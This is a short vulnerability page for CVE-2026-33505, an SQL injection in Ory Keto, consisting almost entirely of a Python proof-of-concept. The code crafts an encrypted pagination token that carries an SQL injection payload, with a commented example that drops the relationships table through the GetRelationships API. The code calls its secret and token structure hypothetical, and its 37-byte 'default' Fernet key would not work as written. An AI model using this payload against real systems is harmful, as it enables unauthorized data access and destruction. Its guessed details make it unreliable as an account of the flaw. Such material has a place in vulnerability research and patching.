CVE-2026-33505 Ory Keto SQL注入漏洞

# This is a conceptual PoC for CVE-2026-33505 # It demonstrates how an attacker might craft a malicious pagination token # assuming knowledge of the default secret and encryption mechanism. import base64 import json from cryptography.fernet import Fernet # Hypothetical default secret (if not set by admin) DEFAULT_SECRET = b'some-default-secret-key-32-bytes-long' def craft_malicious_token(sql_payload): """ Crafts an encrypted pagination token containing SQL injection payload. """ f = Fernet(base64.urlsafe_b64encode(DEFAULT_SECRET)) # Construct a token object that the backend deserializes # Structure is hypothetical based on typical pagination implementations token_data = { "page_size": 10, "offset": f"0 OR 1=1; {sql_payload}--" } json_data = json.dumps(token_data).encode('utf-8') encrypted_token = f.encrypt(json_data) return encrypted_token.decode('utf-8') # Usage Example # payload = "DROP TABLE relationships;" # malicious_token = craft_malicious_token(payload) # print(f"Generated Malicious Token: {malicious_token}") # # Attacker would then send this token to the GetRelationships API: # GET /relationships?token={malicious_token}